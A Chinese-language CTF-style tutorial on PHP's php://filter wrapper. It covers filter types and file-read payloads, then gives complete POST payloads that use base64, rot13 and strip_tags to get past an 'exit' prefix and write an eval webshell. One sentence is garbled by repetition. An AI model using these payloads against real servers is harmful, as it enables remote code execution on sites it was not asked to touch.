文章目录
php伪协议想必大家都不陌生,因为在写ctf题目的时候我们经常在文件包含的时候使用到它。
比如下面这个payload:
php://filter/convert.base64-encode/resource=flag.php
这一串payload我们经常在想要获取源码的时候使用,但是伪协议具体是怎么构造的以及包含了哪些部分我们貌似很少有去想过。
下面我就来给大家重新介绍一下php://filter伪协议,以及如何利用这个伪协议绕过死亡代码。
php://filter总结
介绍
php://filter 是 PHP 中的一种伪协议,用于在读取或写入文件时对数据流进行过滤和转换。它允许你在不修改原始文件的情况下,对文件内容执行各种编码、解码或转换操作,常用于安全审计、数据处理或漏洞利用场景。
使用前提:开启了allow_url_fopen和allow_url_include
语法:php://filter/[读|写过滤器列表]/resource=目标文件
| 名称 | 描述 |
|---|---|
| resource=目标文件 | 必须。用于指定你要筛选过滤的数据流。 |
| read=<读链的筛选列表> | 可选。用于指定一个或多个过滤器名称,以管道符(` |
| write=<写链的筛选列表> | 可选。用于指定一个或多个过滤器名称,以管道符(` |
过滤器
过滤器(Filter) 是一种用于处理数据流的程序或函数,它接收输入数据,对其进行特定转换或筛选,并输出处理后的结果。在php中,过滤器分为字符串过滤器、转换过滤器、压缩过滤器以及加密过滤器。
过滤器大全可以参考php手册里的内容https://www.php.net/manual/zh/filters.encryption.php
转换过滤器
作用:对数据流进行编码,通常用来读取文件源码。
常见的转换过滤器如下
convert.base64-encode:将内容 Base64 编码。
convert.base64-decode:将 Base64 内容解码。
convert.quoted-printable-encode:引号可打印编码。
convert.quoted-printable-decode:引号可打印解码。
convert.iconv.*:一种字符编码转换过滤器
语法;
convert.iconv.目标编码/源编码 convert.iconv.UTF-8/GBK
convert.iconv.源编码.目标编码 convert.iconv.utf8.utf16
字符串过滤器
该类通常以string开头,对每个字符都进行同样方式的处理。
string.toupper:转为大写。
string.tolower:转为小写。
string.strip_tags:这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。
string.rot13:字符右移十三位。
加密过滤器
mcrypt.*/mdecrypt.*:使用 MCrypt 扩展进行加密 / 解密(PHP 7.2 + 已移除)
压缩过滤器
注意,这里的压缩过滤器指的并不是在数据流传入的时候对整个数据进行写入文件后压缩文件,也不代表可以压缩或者解压数据流。压缩过滤器不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
用到的两个相关过滤器:zlib.deflate(压缩)和 zlib.inflate(解压)。zilb是比较主流的用法,至于bzip2.compress和 bzip2.decompress工作的方式与 zlib 过滤器大致相同。
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
等同于
php://filter/resource=flag.php
常用的payload
php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.base64-decode/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/convert.iconv.UTF-8/GBK/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
php://filter/bzip2.compress/resource=flag.php
php://filter/string.rot13/resource=flag.php
php://filter/string.tolower/resource=flag.php
绕过死亡exit
什么是死亡exit?
我们看如下的代码
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
可以看到在 c o n t e n t 的开头有一段 e x i t 的过程,这个时候我们写入一句话木马并拼接 content的开头有一段exit的过程,这个时候我们写入一句话木马并拼接 content的开头有一段exit的过程,这个时候我们写入一句话木马并拼接content
里后会发现,由于开头一直有一个exit的存在,会使得我们的一句话木马并不会被执行。(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,我们怎么绕过exit让我们的一句话木马生效呢??
幸运的是,file_put_contents()函数中,第一个参数是可以使用php伪协议的,也就是说我们可以借助php://filter协议以及各种过滤器来达到某些效果。以下是两种最常见的绕过方式。
base64绕过
众所周知,base64为什么叫base64?那是因为它只能使用a-zA-Z0-9以及+/这64个字符进行编码,所以如果对不在这64个字符里的字符串进行base64解码的话,便会直接忽略。
一个正常的base64_decode实际上可以理解为如下两个步骤:
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
又因为$content开头的死亡代码中包含<?; ?>这些字符,而这些字符并不在64个字符里,所以对其进行base64解码便会忽略掉这些字符,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。
这里便可以使用php://filter伪协议来达到解码的效果,payload如下
# POST
filename=php://filter/write=convert.base64-decode/resource=kirito.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==其实就是一句话木马的base64编码。
注意一定要在开头加上个a,来凑满8个字符满足base64解码要求。
最后效果如下

可以看到解码后,前面的死亡代码变成了乱码,而后面的一句话木马还是正常的,都变乱码了自然不会被解析。尝试用Webshell工具连接一下

非常完美,成功连接
string.rot13绕过
string.rot13是常用的字符串过滤器,作用是右移13位也就是rot13编码。
<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>
在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了。
当然我们写入的一句话木马要求是经过rot13编码后恢复原状
payload如下
filename=php://filter/write=string.rot13/resource=kirito.php&txt=<?cuc riny($_CBFG['pzq']);?>
效果如下

尝试使用Webshell工具连接

非常完美的连接上了,可以看到前面的那一串php引擎根本不识别。
string.strip_tags与base64组合拳绕过
string.strip_tags也是字符串过滤器,作用是用来处理掉读入的所有标签。
比如说
<?php exit;?>Test
经过string.strip_tags以后
Test
可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。
这个时候我们便可以使用组合技能,也就是同时使用string.strip_tags与convert.base64-decode过滤器。这样我们只需要传入的一句话木马是base64编码过的,便不会被string.strip_tags给去除掉,然后再经过base64解码后恢复原状。
payload如下:
filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=kirito.php&txt=PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
这个时候的txt开头就不需要加a了
效果如下:

非常完美,只有一句话木马,没有任何多余的。
用Webshell工具连接试试。

成功连接。
以上便是最常用的三种绕过死亡exit的方式。
三种绕过方式皆学自p神博客里的文章
还有更多的绕过技巧可以参考下面这篇博客
1万+

被折叠的 条评论
为什么被折叠?



